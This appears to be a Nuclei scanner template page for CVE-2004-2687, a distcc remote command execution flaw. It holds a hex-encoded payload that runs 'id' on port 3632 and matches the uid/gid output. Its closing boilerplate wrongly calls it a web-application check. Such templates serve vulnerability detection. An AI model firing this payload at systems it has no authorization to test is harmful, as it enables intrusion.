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Distccd v1 - Remote Code Execution

ID: CVE-2004-2687

Severity: high

Author: pussycat0x

Tags: cve,cve2004,network,rce,distccd

distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.

id: CVE-2004-2687
info:
name: Distccd v1 - Remote Code Execution
author: pussycat0x
severity: high
description: |
distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
reference:
- http://distcc.samba.org/security.html
- http://lists.samba.org/archive/distcc/2004q3/002550.html
- http://lists.samba.org/archive/distcc/2004q3/002562.html
- https://github.com/crypticdante/distccd_rce_CVE-2004-2687
- https://github.com/gwyomarch/Lame-HTB-Writeup-FR
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
cvss-score: 9.3
cve-id: CVE-2004-2687
cwe-id: CWE-16
epss-score: 0.94037
epss-percentile: 0.99194
cpe: cpe:2.3:a:apple:xcode:1.5:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
tags: cve,cve2004,network,rce,distccd
tcp:
- inputs:
- data: 444953543030303030303031
type: hex
- data: 41524743303030303030303841524756303030303030303273684152475630303030303030322d634152475630303030303030637368202d6320272869642927415247563030303030303031234152475630303030303030322d634152475630303030303030366d61696e2e634152475630303030303030322d6f4152475630303030303030366d61696e2e6f444f5449303030303030303141
type: hex
host:
- "{{Hostname}}"
port: 3632
matchers:
- type: regex
part: raw
regex:
- "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4a0a004730450220137c308c895a2d8531b28b053e1e480cceba792fc5d7000ce51b6f422417b8c5022100c996a9313234317f1e7c0e355b361163cbf09fcb9d7180260d59a98f0f36a195:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "network/cves/2004/CVE-2004-2687.yaml"

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